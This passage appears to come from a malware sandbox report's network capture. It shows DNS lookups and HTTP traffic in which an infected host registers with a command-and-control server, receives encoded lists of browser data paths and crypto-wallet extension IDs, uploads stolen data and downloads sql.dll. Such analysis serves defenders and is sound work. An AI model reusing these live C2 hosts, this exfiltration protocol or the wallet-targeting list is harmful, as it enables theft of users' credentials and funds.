Oct 7, 2024 18:43:47.578142881 CEST	192.168.2.4	1.1.1.1	0xe3bf	Standard query (0)	invinjurhey.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:47.591381073 CEST	192.168.2.4	1.1.1.1	0x95ce	Standard query (0)	wickedneatr.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:48.378865957 CEST	192.168.2.4	1.1.1.1	0x3c0f	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 18:43:00.470773935 CEST	1.1.1.1	192.168.2.4	0xa226	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:00.470773935 CEST	1.1.1.1	192.168.2.4	0xa226	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:01.910475969 CEST	1.1.1.1	192.168.2.4	0x6a31	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:43:01.910475969 CEST	1.1.1.1	192.168.2.4	0x6a31	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:22.969914913 CEST	1.1.1.1	192.168.2.4	0xb37b	No error (0)	lade.petperfectcare.com		95.164.90.97	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:31.681894064 CEST	1.1.1.1	192.168.2.4	0x6d79	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 7, 2024 18:43:45.225532055 CEST	1.1.1.1	192.168.2.4	0x55b4	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.898972034 CEST	1.1.1.1	192.168.2.4	0xea85	Name error (3)	exemplarou.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.911741018 CEST	1.1.1.1	192.168.2.4	0x6539	Name error (3)	frizzettei.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.942990065 CEST	1.1.1.1	192.168.2.4	0x7fc	Name error (3)	isoplethui.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.956984043 CEST	1.1.1.1	192.168.2.4	0x26c5	Name error (3)	bemuzzeki.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.978918076 CEST	1.1.1.1	192.168.2.4	0xce5b	Name error (3)	exilepolsiy.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:47.575160980 CEST	1.1.1.1	192.168.2.4	0x1	Name error (3)	laddyirekyi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:47.588582039 CEST	1.1.1.1	192.168.2.4	0xe3bf	Name error (3)	invinjurhey.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:47.608082056 CEST	1.1.1.1	192.168.2.4	0x95ce	No error (0)	wickedneatr.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:47.608082056 CEST	1.1.1.1	192.168.2.4	0x95ce	No error (0)	wickedneatr.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:48.390822887 CEST	1.1.1.1	192.168.2.4	0x3c0f	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:56.655376911 CEST	1.1.1.1	192.168.2.4	0xcc90	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:43:56.655376911 CEST	1.1.1.1	192.168.2.4	0xcc90	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wickedneatr.sbs

lade.petperfectcare.com

nsdm.cumpar-auto-orice-tip.ro

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	95.164.90.97	80	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:43:22.983493090 CEST	98	OUT	GET / HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:24.013952971 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 7, 2024 18:43:24.017633915 CEST	446	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF Host: lade.petperfectcare.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 33 38 44 39 44 41 42 35 30 44 32 38 36 35 38 36 36 33 30 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="hwid"5138D9DAB50D2865866309-a33c7340-61ca------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------FIECBFIDGDAKFHIEHJKF--
Oct 7, 2024 18:43:24.772294998 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|372640dbe8efec4b6f4fb6ca535a6c5e\|1\|1\|1\|0\|0\|50000\|10
Oct 7, 2024 18:43:24.773901939 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="mode"1------EGCBAFCFIJJJECBGIIJK--
Oct 7, 2024 18:43:25.454171896 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 7, 2024 18:43:25.454227924 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 7, 2024 18:43:25.455651045 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="mode"2------JEBKECAFIDAFIECBKEHD--
Oct 7, 2024 18:43:26.081964016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 7, 2024 18:43:26.081983089 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 7, 2024 18:43:26.081996918 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Oct 7, 2024 18:43:26.082209110 CEST	1236	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Oct 7, 2024 18:43:26.082250118 CEST	904	IN	Data Raw: 58 59 57 78 73 5a 58 52 38 4d 58 78 76 59 32 70 6b 63 47 31 76 59 57 78 73 62 57 64 74 61 6d 4a 69 62 32 64 6d 61 57 6c 68 62 32 5a 77 61 47 4a 71 5a 32 4e 6f 61 48 77 78 66 44 42 38 4d 48 78 57 5a 57 35 76 62 53 42 58 59 57 78 73 5a 58 52 38 4d Data Ascii: XYWxsZXR8MXxvY2pkcG1vYWxsbWdtamJib2dmaWlhb2ZwaGJqZ2NoaHwxfDB8MHxWZW5vbSBXYWxsZXR8MXxvamdnbWNobGdobmpsYXBtZmJuamhvbGZqa2lpZGJjaHwxfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldH
Oct 7, 2024 18:43:26.084372044 CEST	522	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: lade.petperfectcare.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="mode"21------GIIEGHIDBGHIECAAECGD--
Oct 7, 2024 18:43:26.696664095 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 7, 2024 18:43:26.766793013 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI Host: lade.petperfectcare.com Content-Length: 5289 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:26.766892910 CEST	5289	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------KJDGDBFBGIDGIE
Oct 7, 2024 18:43:27.623187065 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:27.627604961 CEST	105	OUT	GET /sql.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:27.916697979 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:27 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 